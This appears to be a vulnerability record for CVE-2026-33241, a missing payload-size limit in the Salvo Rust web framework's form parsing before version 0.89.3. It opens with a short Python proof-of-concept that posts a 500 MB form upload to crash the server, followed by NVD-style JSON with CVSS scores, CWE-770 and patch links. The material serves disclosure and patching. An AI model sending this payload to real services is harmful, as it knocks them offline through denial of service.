CVE-2026-33241

import requests # Target URL url = 'http://localhost:7878/form' # Create a large payload to trigger OOM (e.g., 500MB) payload = b'A' * (500 * 1024 * 1024) # Send POST request with large form data files = {'data': ('exploit.bin', payload)} try: response = requests.post(url, files=files) print(f"Response status: {response.status_code}") except Exception as e: print(f"Server likely crashed: {e}")

{"cve": {"id": "CVE-2026-33241", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:29.517", "lastModified": "2026-03-24T19:37:58.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Salvo is a Rust web framework. Prior to version 0.89.3, Salvo's form data parsing implementations (`form_data()` method and `Extractible` macro) do not enforce payload size limits before reading request bodies into memory. This allows attackers to cause Out-of-Memory (OOM) conditions by sending extremely large payloads, leading to service crashes and denial of service. Version 0.89.3 contains a patch."}, {"lang": "es", "value": "Salvo es un framework web de Rust. Antes de la versión 0.89.3, las implementaciones de análisis de datos de formulario de Salvo ('form_data()' método y 'Extractible' macro) no aplican límites de tamaño de carga útil antes de leer los cuerpos de las solicitudes en la memoria. Esto permite a los atacantes causar condiciones de falta de memoria (OOM) enviando cargas útiles extremadamente grandes, lo que lleva a caídas del servicio y denegación de servicio. La versión 0.89.3 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.89.3", "matchCriteriaId": "7BCE02A7-D247-431F-B272-C471BCA96601"}]}]}], "references": [{"url": "https://github.com/salvo-rs/salvo/releases/tag/v0.89.3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-pp9r-xg4c-8j4x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}